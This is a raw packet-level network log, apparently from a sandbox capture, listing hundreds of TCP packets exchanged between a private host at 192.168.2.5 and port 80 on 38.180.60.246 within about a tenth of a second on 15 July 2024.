Jul 15, 2024 00:48:23.339782000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339795113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339793921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339808941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339823961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339826107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339833975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339864969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340046883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340059996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340070963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340082884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340094090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340099096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340116024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340130091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340291977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340303898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340313911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340326071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340338945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340338945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340351105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340364933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340374947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340404987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340568066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340580940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340600014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340611935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340612888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340624094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340627909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340635061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340647936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340648890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340661049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340673923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340673923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340684891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340688944 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340698957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.340714931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.340739012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341165066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341175079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341187000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341198921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341211081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341212988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341223001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341234922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341244936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341253996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341264963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341268063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341281891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341309071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341504097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341523886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341536999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341547966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341550112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341562033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341573954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341578007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341588974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341603994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341617107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341686010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341866970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341877937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341890097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341902971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341914892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341916084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341928005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341933966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341948032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.341958046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341969013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.341998100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342278004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342293024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342305899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342319965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342327118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342331886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342344046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342356920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342358112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342358112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342386961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342402935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342555046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342566013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342576981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342588902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342600107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342601061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342611074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342612982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342626095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342632055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342638969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342648983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342653036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342679977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342699051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342900991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342912912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342926025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342940092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.342945099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342967033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.342988968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343194008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343206882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343218088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343229055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343241930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343241930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343252897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343257904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343265057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343276024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343286037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343288898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343297958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343301058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343314886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343317986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343327045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343338013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343343973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343350887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343374014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343393087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343820095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343832016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343843937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343852997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.343866110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.343883991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.377054930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.377084017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.377095938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.377106905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.377120972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.377131939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.377146006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.377155066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.377192020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.377203941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429481983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429498911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429512978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429565907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429593086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429604053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429615021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429627895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429646015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429647923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429656982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429677010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429692030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429821014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429835081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429846048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429860115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429863930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429872990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429883003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429887056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429898977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.429910898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429929972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.429951906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430234909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430248976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430260897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430274010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430285931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430290937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430298090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430310011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430315971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430335045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430351019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430845022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430859089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430871010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430885077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430890083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430896997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430907965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430910110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430922985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430934906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430938959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430948973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.430957079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.430983067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431159019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431170940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431183100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431195974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431209087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431215048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431221008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431222916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431233883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431246042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431256056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431257010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431269884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431282043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431288004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431309938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431325912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431766987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431782007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431793928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431806087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431817055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431818962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431837082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431847095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431849003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431860924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431866884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431894064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431896925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431907892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431919098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431931973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431935072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431946039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431957960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431961060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.431969881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431977987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.431993008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432008028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432033062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432599068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432610035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432620049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432632923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432650089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432801962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432820082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432828903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432832003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432842016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432847977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432854891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432867050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432873011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432878017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432889938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432898045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432902098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.432918072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.432938099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433334112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433346033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433357000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433382988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433393002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433394909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433407068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433418036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433429003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433432102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433440924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433449030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433454990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433466911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433469057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433492899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433492899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433495045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433496952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433497906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433501005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433506966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433509111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.433551073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.433576107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434118032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434129953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434143066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434153080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434170008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434170961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434185028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434195042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434199095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434211016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434211969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434223890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434236050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434242010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434264898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434278011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434551001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434561014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434571981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434586048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434596062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434600115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434608936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434621096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434627056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434639931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434647083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434652090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434662104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434664011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434691906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434695005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434706926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434715033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434719086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434731007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434741974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434742928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434756041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.434767962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434784889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.434814930 CEST	49704	80	192.168.2.5	38.180.60.246
